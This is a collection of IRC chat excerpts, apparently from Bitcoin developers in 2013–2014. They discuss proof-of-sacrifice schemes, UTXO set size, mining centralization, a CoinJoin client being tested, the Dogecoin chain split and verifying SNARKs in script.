14:31 < amiller> it's actually the best other-than-money application i can think of for public crowdsource networks like generalized bitcoin
14:31 < petertodd> For sure, and not just for DNS names.
14:32 < amiller> i guess it's not a good sign if i can't even think of a clear way to say that this scheme is deficient in some way
14:32 < amiller> this is really tricky to analyze
14:32 < petertodd> I think the thing is froma *technical* point of view it obviously works. But does it work socially? Hard to say.
14:33 < petertodd> Speaking of, something I didn't say to you is blocksize - I think there needs to be a mechanism where blocks in the scheme are either directly limited in size, or for the data to get progressively less important as the size goes up somehow.
14:34 < petertodd> Also the sacrifice should be calculated per byte consumed.
13:38 < adam3us> gmaxwell: well a base point could be generator of the full group, i think (if they chose it that way?); and that may explain the 8s that appear in the verification relationship perhaps.
13:54 < maaku> gmaxwell: what's the context of "expensive validation" - my script musing on #bitcoin-dev?
13:54 < gmaxwell> maaku: yea
13:55 < maaku> well in some of the applications i'm imagining it could be more efficient to validate a message signature than a transaction
13:56 < maaku> so, you could sign the transaction itself as a message, efficiently proving you have the inputs, and then get gray-listed if the actual validation fails
13:57 < maaku> e.g. the script is "if real-transaction then <complicated covenant code> endif <standard pubkeyhash script>"
13:58 < maaku> i would like a better method though
14:00 < maaku> you could require something like the above if the (explicit) instruction count is greater than some normal-use threshold
14:02 < maaku> pigeons: ;;cjs
14:02 < maaku> ;;cjs
14:02 < gribble> Coinjoin Status: There is no currently open session. Visit https://www.wpsoftware.net/coinjoin/ or http://xnpjsvp7crbzlj3w.onion/ to start one.
14:02 < maaku> andytoshi: but it'd be nice if there was an announcement when a new session started
14:05 < adam3us> gmaxwell: so i was musing an analogous argument to pegged side-chain security (cant inflate supply of main chain) could be used to introduce SNARKs + committed-tx or some variant of it in a zero-coin like zerotrust mixer on the main chain
14:06 < michagogo|cloud> Anyone have a link to andytoshi's cj client?
14:06 < adam3us> gmaxwell: or perhaps more simply, just make a zerocash snark as a reference example of a pegged-side chain (though i note even green put a disclaimer in his talk that this is a bit bleeding edge and could have problems)
14:06 < EasyAt> maaku: Couldn't I send a bogus TX that has a ton of operations to verify to chew through processing power?
14:07 < adam3us> gmaxwell: which seems kind of ironic (proposing to integrate zerocash in the pattern in which zeroin was proposed), now that zerocash is proposed as an alt. (and I and Hal were more excited about moving zerocoin into its own alt)
14:08 < EasyAt> You would have to do a ton of ops before you realize the TX isn't valid
14:09 < maaku> EasyAt: yes, which is why as I said above you might require that the owner provide a quick-verifying signature over the transaction of the expensive inputs
14:09 < maaku> so you know the transaction came from him
14:09 < adam3us> anyone how big is the UTXO set if compacted now?
14:09 < maaku> and then gray-list the inputs if the validation fails
14:09 < maaku> adam3us: gettxsetinfo or something similar
14:10 < maaku> EasyAt: then it at least becomes expensive to perform DoS
14:11 < michagogo|cloud> [off]test
14:12 < michagogo|cloud> Oh, are the logs not live?
14:12 < EasyAt> maaku: What do you mean by gray list?
14:12 < maaku> e.g. only pay attention to transactions with inputs that have less than 20 instructions, *or* transactions enveloped with a less-than-20-ops signature for the expensive inputs
14:13 < maaku> gray list would be a list of inputs you no longer relay transactions for, maybe for a period of time or require higher fees
14:14 < andytoshi> michagogo|cloud: source is at https://github.com/apoelstra/cj-client
14:14 < andytoshi> michagogo|cloud: windows build at http://download.wpsoftware.net/bitcoin/cj-windows.zip
14:15 < michagogo|cloud> thanks
14:15 < gmaxwell> andytoshi: about 300 mbytes.
14:15 < gmaxwell> oops
14:15 < gmaxwell> adam3us:
14:15 < michagogo|cloud> "cj-windows.zip is not commonly downloaded and could be dangerous."
14:15 < andytoshi> gmaxwell: !!!! ;)
14:15 < gmaxwell> bitcoind gettxoutsetinfo
14:15 < gmaxwell> { "height" : 280494, "bestblock" : "00000000000000024c41edbc27cb0d093b593a47030b886fade01f9d19b8047a", "transactions" : 2597060, "txouts" : 8350183, "bytes_serialized" : 293414423, "hash_serialized" : "ca53e5d3a59fc7a3dca134cce6942c2af5d85c2ce21d985c8b06526e795faf74", "total_amount" : 12262214.79395749
14:16 < gmaxwell> }
14:16 < andytoshi> michagogo|cloud: populism is not security, your browser uses faulty assumptions
14:16 < michagogo|cloud> andytoshi: I know
14:16 < michagogo|cloud> I wasn't ascribing any meaning to that thing
14:16 < michagogo|cloud> Just wanted to let you know Chrome was flagging it
14:16 < gmaxwell> what a shitty thing
14:16 < andytoshi> ok, good to know
14:16 < andytoshi> chrome should really be flagging windows..
14:16 < gmaxwell> I bet if you throw the same binary on github you get no warning.
14:17 < michagogo|cloud> btw, I assume it uses RPC?
14:17 < michagogo|cloud> Which calls?
14:17 < michagogo|cloud> (i.e. can it work on 0.8.6?)
14:17 < andytoshi> michagogo|cloud: listunspent, createrawtransaction, decoderawtransaction, signrawtransaction, getaddress, walletpassphrase
14:17 < andytoshi> i think those are fine
14:18 < gmaxwell> also gettxout
14:18 < andytoshi> oh, gettxout, dumpprivkey
14:18 < gmaxwell> you might want to use getrawchangeaddress but I think its git-only.
14:18 < gmaxwell> perhaps try getrawchangeaddress and if it isn't there, use getnewaddress?
14:18 < michagogo|cloud> In about 7 minutes when my 0.8.6-compatible blocks and chainstate finish copying over I'll see
14:19 < andytoshi> gmaxwell: what is the difference?
14:19 < gmaxwell> andytoshi: change addresses get hidden in the transaction list. But perhaps not. actually nevermind that if you do that people will spazz.
14:20 < gmaxwell> though .. actually you really should have a feature to let the user specify recipent addresses for the CJ outputs. (Personally I send my CJ outputs to offline wallets!)
14:21 < andytoshi> gmaxwell: agreed, my original UI sketch had such a thing
14:21 < andytoshi> but it's hard to design a UI for that non-intrusively
14:21 < michagogo|cloud> andytoshi: Hm, it doesn't seem to be launching
14:22 < michagogo|cloud> The process is ther, but just sitting at 164K of memory
14:22 < michagogo|cloud> there*
14:22 < andytoshi> michagogo|cloud: any output?
14:22 < michagogo|cloud> and not visibly opening anything
14:22 < andytoshi> my guess is that it's stalled pinging my server..
14:22 < michagogo|cloud> Oh, that's why
14:22 < michagogo|cloud> I don't know why it took so long to show up
14:22 < michagogo|cloud> "Our information on this file is inconclusive."
14:22 < andytoshi> oh, weird, it's quick for me (and i'm a good 2500km from the server)
14:23 < michagogo|cloud> "We recommend not using this file unless you know it is safe."
14:23 < gmaxwell> well it does connect to the remote server at startup.
14:23 < andytoshi> oh fuck windows
14:23 < michagogo|cloud> andytoshi: Nah
14:23 < michagogo|cloud> Not Windows, security software
14:26 < adam3us> gmaxwell: so that is 275MB vs 13GB for utxo vs txo about 2%
14:27 < gmaxwell> more like vs 16G.
14:28 < adam3us> gmaxwell: oh i thought jgarzik said his torrent was 13G
14:28 < gmaxwell> adam3us: sipa did some charts a long time ago, utxo size looked to be ~log() the blockchain size.
14:28 < gmaxwell> the torrent doesn't take it up to tip.
14:29 < adam3us> gmaxwell: (sending email cc green re contact from the other crypto guy mentioned in PM, i thought I'd take the opp to correct his 16GB bitcoin vs 1.2GB zercocash claim;)
14:36 < michagogo|cloud> andytoshi: eww, always-on-top?
14:37 < nsh> you don't get anywhere in the dog-eat-dog world of windowing systems by ceding your platform
14:39 < andytoshi> michagogo|cloud: what is always on top?
14:39 < michagogo|cloud> The cj client
14:39 < andytoshi> really?
14:39 < michagogo|cloud> Yes.
14:40 < maaku> who doesn't like it on top
14:40 * michagogo|cloud
14:40 < andytoshi> oh, oops, i had gtk_window_set_keep_above () in there
14:40 < andytoshi> i didn't notice because i don't use a floating WM
14:40 * gmaxwell xmoand user unaffected
14:40 < michagogo|cloud> ;;google xmoand
14:40 < gribble> [Arena PvP] Xmo and Xtk 2v2 - Forst Mage/Mage pt 1 - YouTube: <http://www.youtube.com/watch?v=jHdT36vjQN0>; Xmo and Xtk TCB Double Frost Mage 2v2 Arena Part 1 - YouTube: <http://www.youtube.com/watch?v=YFMWKyYmioY>; Xmo and Xtk 2v2 Act II Double Frost Mage 2v2 Arena Part 1 - YouTube: <http://www.youtube.com/watch?v=hmH8F2MiSog>
14:41 < gmaxwell> yea, srsly. y'all use a floating window manager? sucks to be you.
14:41 < jtimon> xmonad?
14:41 < andytoshi> ....and a thought gmaxwell had a floating WM :P
14:41 < michagogo|cloud> And
14:41 < michagogo|cloud> Ah*
14:41 < andytoshi> michagogo|cloud: thanks much for testing, you are the first person with a normal system to have done so
14:41 < gmaxwell> No, I use xmonad.
14:41 < andytoshi> i'll refresh the build
14:42 < jtimon> hehe, I tried some tiling VM but I left it due to a lack of time for config
14:42 < gmaxwell> (I was happy I didn't need to report problems with the tiling wm, I guess I know why now)
14:42 < jtimon> I will definetely try again though
14:42 < gmaxwell> jtimon: to configure xmonad is very simple.
14:42 < gmaxwell> You join #haskell and nice people do it for you.
14:42 < jtimon> I shouldn't had started with ratpoison, but the name was so cool
14:42 < nsh> senate judiciary hearing on NSA started 10m ago
14:42 < michagogo|cloud> andytoshi: Is there a way to cj on testnet?
14:42 < nsh> http://www.c-span.org/Live-Video/C-SPAN3/ http://www.judiciary.senate.gov/hearings/hearing.cfm?id=32caee8082f9297f0e7df6280b369172
14:42 < jtimon> the two I used more were i3 and qtile
14:43 < michagogo|cloud> ;;tcjs
14:43 < gribble> Error: "tcjs" is not a valid command.
14:43 < michagogo|cloud> ;;cjst
14:43 < gribble> Error: "cjst" is not a valid command.
14:43 < andytoshi> michagogo|cloud: yeah, there is a cjconfig.conf file
14:43 < nsh> (Cass Sunstein currently summarizing review panel findings)
14:43 < gmaxwell> nsh: what did they find?
14:43 < andytoshi> in cjclient/, wherever Bitcoin/ is
14:43 < michagogo|cloud> andytoshi: What's the URL for the testnet page?
23:41 < petertodd> andytoshi: also the real importance of chainstate is being able to product compact proofs that rules were violated
23:42 < gmaxwell> andytoshi: if the chainstate is commited then you could have a full validating node without even storing the chainstate, but at the cost of txns having to carry chainstate proofs. (just hashtree fragments)
23:42 < andytoshi> ok, i see, did not realize that bandwidth would be hit so hard -- i was looking at "download 20gb of old transactions and validate them" as being much more overwhelming
23:43 < gmaxwell> and its orthorgonal to if you hot-started or not. If you hotstart without something like a snark proving chainstate faithfulness you reduce full nodes to SPV security
e.g. miners could potentially inflate the coin.
23:43 < andytoshi> well, you might keep the last few weeks of actual blocks so that miners would need to outcompute the network for a long time to do that
23:43 < gmaxwell> and using a snark to prove a full chainstate fidelity isn't technically feasable yet, I think. though perhaps we're close if you skip the script evaluation.
23:45 < gmaxwell> andytoshi: but keep in mind in doing that you change the incentives completely. so the analysis isn't simple. E.g. if non-miner full nodes didn't check the generated amount, would miners just all set their generated coins to 100 and leave them there?
23:45 < grau> checkpoints skip script evaluation
23:45 < gmaxwell> grau: we're going to remove that in bitcoin-qt almost certantly after headers first, and even there there is a commandline switch to reenable.
23:46 < gmaxwell> and miners don't set checkpoints.
23:46 < andytoshi> gmaxwell: presumably at all times non-miner full nodes have the past ten days or so of blocks (and they'd be dropping them), so there'd never be a window when people weren't validating the latest blocks
23:46 < gmaxwell> Basically the point there is that if miners can get themselves a blank cheque its a very different set of incentives than we currently have.
23:48 < grau> I think it will be miner keeping check on each other not user
23:48 < gmaxwell> andytoshi: sure, you just have eluria and ghash.io and slush (>>50% of the network) agree to do a 10 day reorg that harms nothing but gives them 10x the coins. Why not? it's tricky. And then why would people keep 10 days? 0 days is enough until the attack actually happens. Let someone _else_ take the cost of preventing the attack.
23:48 < gmaxwell> BlueMatt [~BlueMatt@unaffiliated/bluematt] has quit [Ping timeout: 260 seconds]
23:48 < grau> user will move to SPV, even merchants may
23:48 < gmaxwell> oops missate there.
23:48 < andytoshi> grau: then there's an incentive to conspire/collaborate and this leads to pool centralization
23:49 < andytoshi> ah, now i see the incentive problem with what i suggested
23:49 < gmaxwell> grau: there are only two or three people in the world required to achieve >50% control of hashrate.
23:49 < gmaxwell> (and one of them (the cex.io guy) has physical control of most of his hashrate directly)
23:50 < andytoshi> ugh, this is so frustrating, i had this massive blind spot in my analysis of pruning schemes
23:50 < andytoshi> if only i could convey that feeling to the alt-chasers..
23:50 < gmaxwell> grau: trusting miners is a pretty terrible idea, far worse than trusting the fed
at least the fed has a sea of regulations and public identity regulating its behavior. Miners are anonymousish, fully self selecting, unregulated, etc.
23:50 < grau> gmaxwell: assuming 2-3 would and use it to inflate coins. This could be surfaced by anyone and would destroy trust in the currency and that possibility would keep them from doing that.
23:51 < gmaxwell> and if you regulate them, the you just undermine the system in a differnet way.
23:51 < gmaxwell> Instead they can be regulated _naturally_ by the system how it was designed: but not trusting them any more than the absolute minimum needed.
23:51 < gmaxwell> (by having full nodes that impose the rules)
23:51 < Luke-Jr> BlueMatt: anyhow, maybe you misread what I said. I said you *are* a bitcoin dev..
23:51 < BlueMatt> ahh, ok
23:53 < grau> collaborating between miner to change rules is the same dilemma as in "selfish mining", whort term incentives against long
23:54 < grau> *short
23:54 < petertodd> grau: relying on incentives of a small number of quite-possibly non-rational people is crazy
23:54 < grau> if you have an other choice
23:55 * gmaxwell out
23:55 < petertodd> grau: well we do: design crypto-currencies where pools aren't possible, and be ready to deploy them if it becomes an issue (as an example)
23:56 < Luke-Jr> petertodd: if pools aren't possible, then you get worse alternatives (hosted mining)
23:56 < grau> design a migration policy of welth also if you are that
23:56 < petertodd> grau: that's the easy part actually
23:56 < gmaxwell> Luke-Jr: hosted mining is made insecure by the same things that break pools (though perhaps no one cares, which was the argument I gave before: easier to break pools than hosted mining)
23:57 < petertodd> Luke-Jr: basic physics fortunately encourages decentralization of hashing power
23:57 < gmaxwell> oh yea I'm not here
23:57 < Luke-Jr> that's why it's better to make decentralised pooling as cheap as possible, cheaper than hosted mining
23:57 < grau> petertodd: why that? bigger plants should have better ratios of energy/hash
23:58 < Luke-Jr> ^ + bulk orders of hardware get better prices
23:59 < petertodd> grau: nope, the basic unit of production is the chip + power supply, and for that your economy of scale is making them. otoh your costs to run the hardware has a huge component of getting rid of waste heat, which incentivizes decentralization
23:59 < petertodd> grau: e.g. "a bitcoin miner in every water heater"
--- Log closed Sun Jan 05 00:00:55 2014
--- Log opened Sun Jan 05 00:00:55 2014
00:02 < grau> petertodd: thereby you would raise production cost of e.g. water heater. Competition in water heater would eliminate that.
00:02 < petertodd> grau: if crypto-coin mining has a value, and heating water has a value, then you're cost for doing both at once is less than separating the two activities
00:04 < grau> You assume that water-heater mining is profitable to the extent that it ever amortizes the added production cost. That is not given.
00:06 < petertodd> grau: my point is if bitcoin mining is profitable, it'll be more profitable if you can use the waste heat for something useful. using waste heat for something useful is easier with more decentralization than less
00:08 < grau> There are places where getting rid of heat is not a big issue. I think you engage a bit in wishful thinking. We should rather think hard of how to deal with centralized mining.
00:09 < petertodd> grau: yes, and those places are always decentralized! it's just the basic physics of heat: surface area scales by x^2 and volume x^3
00:10 < grau> iceland
00:10 < petertodd> grau: obviously bitcoin mining will tend towards more northern places, but there's a whole lot of those around
00:11 < gmaxwell> 21:07 < NomZ> You all will love this one. The dogecoin blockchain split after someone submittted a 500M transaction.
00:11 < petertodd> grau: my parents live in a place significantly colder than iceland...
00:12 < grau> petertodd: wow, send them some boxes to mine :)
00:13 < petertodd> grau: yeah, I've done the math on that, it actually makes quite a lot of sense. furthermore in communities north of them the high cost of electricity is *not* a factor because the electricity generation is all diesel anyway, and diesel's more expensive (slightly) than fuel oil
00:13 < grau> gmaxwell: tomorrow you'll have lots of journalists asking if this could happen to BTC
00:15 < brisque> grau: not having scrollback to refer to, can you give me a one line summery of what you're referencing?
00:15 < gmaxwell> http://www.reddit.com/r/dogecoin/comments/1ufl1e/much_concern_dogecoin_block_chain_has_split/cehm0yw
00:16 < brisque> gmaxwell: ouch. I suppose that's what you get when you have inexperienced developers managing a bitcoin clone.
00:16 < petertodd> gmaxwell: heh, yeah warren noticed that awhile back
00:17 < andytoshi> petertodd, warren: oh? what is special about this 500m tx?
00:17 < Luke-Jr> lolwut @ font
00:17 < petertodd> andytoshi: it triggers some sanity limits that they recently removed
00:17 < brisque> andytoshi: the title of the thread has the details. some clients accept larger amounts in blocks than others.
00:17 < warren> andytoshi: competence
00:18 < brisque> "Ten days ago, the developers made a change to the Dogecoin client that raised the limit of coins in a block from 500 million to 10 billion. So now some folks are running Dogecoin clients without that change, because they are older, and some folks are running newer clients. In block 42279, a transaction that broke the rule -- containing more than 500 million
DOGE -- has prevented these older clients from advancin
00:18 < warren> did the pools upgrade?
00:18 < gmaxwell> .... wtf they didn't stage the change?!@#
00:18 < andytoshi> holy shit, this is so incompetent i can't believe it, even from doge
00:19 < brisque> presumably one pool updated, then the big TX made it into a block and the chain forked
00:19 < gmaxwell> well we learned nothing then, as we've succesfully made a number of changes that would have been forking if not staged.
00:20 < brisque> warren: from looking, there's some on one fork and some on another. presumably anybody on the old client has been left behind and that's the majority at this point.
00:20 < andytoshi> it appears they just pushed a forking change in a routine update? what the fuck?
00:20 < nsh> my hilarity sense is tingling...
00:20 < warren> three forks exist?
00:20 < warren> not sure how
00:20 < warren> but it's hilarious
00:21 < nsh> oldyellercoin....
00:21 < brisque> they might have changed the TX limit previously without making it a staged change.
16:55 < petertodd> Well the resolution protocol can easily have the blockchain be a directed acyclic graph instead where non-conflicting transactions in different forks on the graph can be merged back together later.
16:56 < petertodd> The incentive to broadcast your blocks (which can be just a single transaction) would then be to prevent rewriting by being on a part of the graph with maximal sacrifice.
16:56 < petertodd> Problem is how do you distribute the coins in the first place?
16:57 < petertodd> It'd also have ugly problems if transaction volume was low, because you're only safe from a rewrite once more coins have been sacrificed by *others* than your transaction was worth.
16:57 < petertodd> Hard to bootstrap that...
16:58 < petertodd> It is interesting though how it suggests that a proof-of-stake cryptocoin is probably more viable if there isn't a block reward.
17:01 < petertodd> Not much more viable mind you: it's still the fundemental problem of how do you know time has moved forward without a random beacon. (IE signing for a bunch of stake is something I can only do once - after that more signatures are meaningless, yet there's no good way to decide on what % ofthe outstanding coins should participate)
--- Log closed Wed Jul 03 00:00:07 2013
--- Log opened Wed Jul 03 00:00:07 2013
06:05 < sipa> :o
06:06 < gmaxwell> you were out!
06:06 < gmaxwell> oh no!
06:06 < petertodd> ...we need a -wizards archive...
06:07 * sipa demugglifies
06:08 < gmaxwell> you totally missed me being an idiot and taking like .. an hour to understand what petertodd was talking about with "proof of possession" and application to proof of sacrifice identity.
06:08 < petertodd> Lol, well I can cut that part out from the archive...
06:08 < petertodd> Though really it's a subtle point, albeit one that you should grok. :P
06:11 < gmaxwell> well in my defense I joined midconversation and didn't read the backscroll.
06:11 < petertodd> ...and if you look you'll notice I changed some of my arguments a bit because I had come up with that idea on the spot nearly.
06:21 < gmaxwell> I still think that even the less secure form of tearable data is interesting until there is actually a problem with people accepting blocks without seeing the good stuff.
06:37 < petertodd> I think the issue there is once you've got to the trouble of having tearable data, why not have proof-of-posession?
06:38 < petertodd> Remember that the nonce can be the previous block hash to keep performance requirements minimal.
06:40 < gmaxwell> two blocks back, so you're not latency threatened perhaps
06:41 < gmaxwell> but I think I proposed this when people were really worried about the 1txn miner and miners without the utxo set. And it was pointed out that people could just advertise the roots.
06:41 < gmaxwell> (I'd proposed a kind of proof of possession to prove you had the utxo set so you couldn't mine without it)
06:41 < petertodd> Sure, and add a system where you can use that proof-of-posession to spend certain designated fees as your payment.
06:42 < petertodd> Heh, yeah, and I kinda reinvented that with my idea for doing low-bandwidth zero-validation cooperative P2Pool...
06:42 < gmaxwell> a general argument against needing that is that if there are sacrifices going on, you'll _want_ to know about them so you would be disinclined to accept blocks that have hidden them.
06:43 < petertodd> Well I'm assuming this would be just another part of a UTXO proof system so there's no way to hide anything.
06:45 < gmaxwell> I'm just saying that something simpler may be more adequate than you're giving it credit for.
06:46 < petertodd> I'm just saying once you've done a soft-fork you're 90% of the way there...
06:46 < petertodd> Really simplier would be to do it as a pure merge mined chain.
06:46 < petertodd> (or a non-soft-fork)
06:47 < gmaxwell> merged mined.. uh
06:47 < gmaxwell> warning: absense of incentive detected
06:47 < gmaxwell> :P
06:48 < gmaxwell> well, I suppose my argument applies: if this merged mined thing teaches you about valuable transactions
06:48 < gmaxwell> then there is an incentive to particiate.
06:48 < petertodd> indeed, but without actual proof-of-posession you are relying on nothing more than people just using the defaults
06:48 < petertodd> that may be a much weaker assumption in the future...
06:49 < petertodd> Yeah, or if it's mined with some kind of proof-of-stake from people with a vested interestin the data itself.
06:50 < petertodd> *interest
06:50 < gmaxwell> how do you detect those people?
06:50 < petertodd> Heck, fidelity bond participants to pay rewards after some amount of merge mining...
06:50 < gmaxwell> the one who announced it isnt the useful one to mine it.
06:51 < petertodd> No, but for, say, a fidelity bonded bank thing you mind find a banks competitors proving that the fraud proof ledger is well distributed to discourage anyone from committing fraud, a bit weak sure, but at least the cost is pure bandwidth + some storage.
06:52 < petertodd> (remember the bitcoin blockchain can be used as a random beacon to keep the merge mining moving forward)
06:55 < petertodd> interesting thought: a bank might want to prove that their *clients* had been participating in some visible fraud proof storage system, so that if the bank gets sold one day the consent of the clients to the state of the fraud proof ledger is known and thus a proof disclosed after the fact can be declared invalid
06:56 < gmaxwell> petertodd: we're in cycles, we stumbed on this when talking about the IRC stuff: the irc bank could prune its transaction records once the customer provided a no-fraud ping.
06:56 < gmaxwell> because if they claimed fraud later you wouldn't have to prove them wrong, you'd just show their no fraud ping. :P
06:57 * gmaxwell predicts "what is a segmentation violation" in a minute.
06:57 < petertodd> Ah, I forgot about that bit... nice example of how it's a continuum of visibility options.
06:58 < petertodd> heh...
11:13 < adam3us> now you guys woke up: i was thinking the outcome is the miner will win the proportion of his own (and other peoples) sacrifice to miners in relation to his share of the network power
11:14 < adam3us> so that being the case, why not just pay to the set of miners (over some rolling transaction history) in proportion to how often they've been winning
--- Log closed Thu Jul 04 00:00:10 2013
--- Log opened Thu Jul 04 00:00:10 2013
14:49 < adam3us> petertodd: not afk? about your proof of sacrifice somewhat resistant to miner inside attack, not sure if you saw my additional thought
14:50 < adam3us> petertodd: i think it averages out to pay to miners in proportion to their mining power, so you could more simply achieve the same effect by paying to miners in proportion to their rolling average proportion of nework power (with some signature annotation saying this is a proof of donation to miners)
15:22 < petertodd> But that's not a sacrifice without a solid way to pick the lucky miner randomly.
15:24 < petertodd> ...and that doesn't work because there is no way to commit the funds such that if a miner is picked that you do not want the funds to go to the funds will go to them anyway - Bitcoin just can't do that in the scripting system.
16:29 < adam3us> petertodd: but what is special about giving it to a random miner in (chances biased in proportion to their power) vs just giving it to the miners in proportion to their recent demonstration of power (eg last month). if they keep running for another month the effect in terms of what they receive will be basically the same right?
16:30 < adam3us> petertodd: I dont know why you would not want the funds to go to a specific miner, but the approach you discussed recently doesnt prevent that either, because well a random miner will win, you have no control
16:54 < petertodd> We're talking about sacrifices; if the destination of the funds can be controlled it's probably not a true sacrifice.
16:57 < adam3us> petertodd: my point is the approach you proposed a few days ago, it has the property that funds are given to miners, with some randomness, but presuming lots of people make proofs of sacrifice over time that will average out anyway, so the net result is that miners (all of them) receive funds in proportion to their percentage of network power, agreed?
16:59 < adam3us> petertodd: and is so, you can simplify and achieve the same effect by just paying to miners in proportion to their wins over the last month (pay to all of them, a multiple output); you would need some special annotation to indicate this is not just a payment to miners, its a sacrifice to miners and that will be validated by other full nodes against the
correct proportion being paid to the miners against the validated average network power
17:01 < petertodd> But doing that in Bitcoin is impossible if you want to ensure the person making the sacrifice can't direct it to themselves.
17:01 < petertodd> If you don't ensure that, it's not a true sacrifice.
17:02 < petertodd> What you are proposing would be at minimum a soft fork involving a lot of complex code with no advantage over a random model - it all evens out in the end.
17:04 < petertodd> Not to mention what you really want is anyone-can-spend outputs that remain locked for long enough that even if a pool has, say, 40% hashing power and is willing to play dirty and make sacrifices knowing that 40% of the time they'll mine the fees anyway it is unknown to them if they'll be in business by the time the output is spendable. IE sacrifices that
only go back to miners after multiple months.
17:04 < adam3us> petertodd: i am not saying the sacrificer can spend to themselves, they can only spend to the miners during the last month, in proportion to the power (1GH = 100 satoshi sacrfice or whatever ratio), and if the sacrificer pays to the wrong proportion or to the wrong users, it will be rejected by all validators (full nodes)
00:05 < warren> what's wrong with p2pool's approach?
00:05 < warren> p2pool implementation has scalability problems and payouts are too often in too small dust, but that's a current implementation issue.
00:07 < amiller> well p2pool's approach is based on the same technique that makes hosted mining feasible/attractive
00:07 < amiller> (despite the fact that no one does it yet)
00:08 < warren> I mean, if users were more concerned about the risks of mining centralization, they would use p2pool-like approaches, there could be multiple of them.
00:08 < warren> p2pool needs to be a lot more efficient than it is now. We hope to throw a few thousand dollars into its development.
00:08 < amiller> well see the thing is the risks of mining centralization aren't felt by individual users acting in self interset
00:09 < amiller> it's kind of like a social cost
00:09 < warren> amiller: p2pool miners can earn more than centralized pool mining
00:09 < amiller> warren, i am not talking about centralized pool mining
00:09 < amiller> i'm talking about hosted mining
00:09 < amiller> where you rent cpu power from a miner warehouse somewhere in the cool fjords of sweden
00:10 < amiller> where the hydroelectric power is cheapest
00:11 < jgarzik> Alydian is doing that
00:11 < jgarzik> $0.5 million for a petahash or three
00:11 < amiller> ah, thanks jgarzik
00:11 < jgarzik> though not necessarily in sweden
00:11 < jgarzik> knc and a couple others are doing hosted mining
00:11 < amiller> are there threads panicking about this
00:12 < jgarzik> and well over a year ago, "Vladimir" on the forums sold hashes in this manner. you paid for a certain amount of hashes (GPU at the time).
00:12 < jgarzik> nope, it's already been explored
00:14 < amiller> already been explored? what conclusion did they come to? (i'm searching for such threads)
01:17 < gmaxwell> nanotube: amiller's plan to foil cloud mining is like julian assange's plan to use leaks to undermine secrecy. :P
01:18 < gmaxwell> I don't think anyone has explored foiling it through clever techno-economic hacks.
01:19 < gmaxwell> (nor do I think amiller's ideas would ever go anywhere, but they may someday turn useful should bitcoin fail to centralization)
01:19 < gmaxwell> (so that the $next_thing, in 100 years when people will finally trust a next-thing, won't have the same flaw)
01:21 * amiller can wait
01:21 * nanotube also plans on being around in 100years.
01:22 < nanotube> assuming we don't have a major cataclysm, seems within the realm of possibility
01:23 < gmaxwell> amiller: I can defeat your approach. :(
01:24 < gmaxwell> I have some independant hardware maker build my hardware with an odometer, and the hardware gets audited by people with electron microscopes (at random, which I can afford because I'm mega cloud)
01:25 < nanotube> we just need to make bitcoin asic coffeemakers and spaceheaters.
01:26 < nanotube> and have them default-set to mine solo.
01:26 < gmaxwell> yea, I've argued that before: for low level waste heat decentralization is actually more cost effective... but deploymens seem to suggest that I'm wrong.
01:26 < gmaxwell> er deployments.
01:26 < nanotube> once we have millions of these out there, no need to worry about it.
01:26 < nanotube> there are deployments?
01:27 < gmaxwell> alternatively, I just run my cloud business such that I pay the average expected payout regardless of the actual payout, and I hire trained assassins to patrol my datacenter to catch theiving techs.
01:27 < gmaxwell> nanotube: there are a number of big online highly centeralized deployments, e.g. asicminer and the 200TH mine that most of the bitfury parts went to.
01:28 < nanotube> gmaxwell: well yes, but there are no deployments of relatively cheap consumer hardware that mines automagically with no user intervention.
01:28 < gmaxwell> cointerra's original business plan was that, but the club to the head that they need to sell stuff was strong enough, but I don't know if they were just delayed or really deflected, see: http://cointerra.com/about/ "Our mission is to become a reliable and trusted node for transaction clearing on a stable and flourishing Bitcoin network."
01:28 < gmaxwell> no no right.
01:29 < gmaxwell> I'm saying that my theory that decenteralized is more efficient than centeralized because the waste heat is more productively disposed of may be wrong.
01:29 < gmaxwell> because I'm seeing lots of centeralized deployments and there is no bitcoin coffeewarmer.
01:29 < nanotube> hmm
01:30 < gmaxwell> I dunno why it's wrong, I certantly lived it in VA. with substantially free power in part of the year because mining completely replaced heating costs.
01:30 < gmaxwell> (realistically the heatpump was probably 2x more power efficient, still... half price power is good)
01:31 < nanotube> maybe because nobody's gonna buy a 3000-dollar spaceheater. :P
01:31 < nanotube> the bfl jalapenos could have been it... but bfl fscked up, as we all know.
01:32 < gmaxwell> well the actual cost of building these things is ... not that high. I titter a bit at the forum people "why would they sell them when they could mine!" "because you morons will pay a kings randsom for the hardware!"
01:32 < nanotube> hehe
01:44 < Luke-Jr> lol
01:45 < petertodd> Why mine when you can sell the hardware and make debt payments now?
01:46 < Luke-Jr> petertodd: and make a nice profit until you actually ship!
01:46 < petertodd> heh
01:46 < Luke-Jr> bah! Qt 5 requires Perl 5.16
01:46 < petertodd> <shudder>
01:46 < Luke-Jr> not sure I want to upgrade to testing perl
01:46 < petertodd> awful, horrible language
01:47 < Luke-Jr> Perl is lovely.
01:47 < Luke-Jr> I think I prefer to stick to stable versions though
01:48 < Luke-Jr> OH! That's how I can get the election by a landslide!
01:48 < Luke-Jr> "I know Perl. =_="
01:48 < petertodd> I don't vote for the mentally ill.
01:48 < Luke-Jr> :P
01:48 < petertodd> well, at least *that* kind of mentally ill...
01:49 < Luke-Jr> Perl is the kind of thing where you hate it until you're familiar enough with it. :P
01:50 < petertodd> yeah, I got familiar with it then went to art school...
01:51 < Luke-Jr> I wrote an emulator in Perl once! :P
01:52 < petertodd> heh, of what? line noise?
01:52 < Luke-Jr> it was one of my toy MIPS emulators I think
01:52 < petertodd> I hope you ported perl to it
01:52 < Luke-Jr> :D
01:53 < warren> I don't know who to vote for.
01:53 < petertodd> I wonder what's the longest chain of emulators ever emulated?
01:53 < warren> There's no Clinton on the ballot.
01:53 < petertodd> I was hoping to vote for the other lizard.
01:54 < phantomcircuit> petertodd, well someone wrote a Z80 emulator for a Z80 and then ran it on x86
01:55 < petertodd> phantomcircuit: I was more thinking Arthur Ganson's "Machine with Concrete" - https://www.youtube.com/watch?v=5q-BH-tvxEg
03:15 < petertodd> Random number generator: https://www.youtube.com/watch?v=a6aicIcQJvc
03:15 < petertodd> and sublime work of work
03:16 < petertodd> ganson is a genius
15:53 < gmaxwell> amiller: am I correct in beleving that just having basic pairing operators (gt* gt/ g1^ g1+ gt= and loads of g1 types) is all we'd need to verify pinocchio in script?
16:05 < amiller> gmaxwell, yes definitely.
16:07 < amiller> gmaxwell, i think it would be easy to implement using PBC
16:08 < amiller> pinocchio requires a few specific twist curve
16:09 < amiller> they have two curves basically
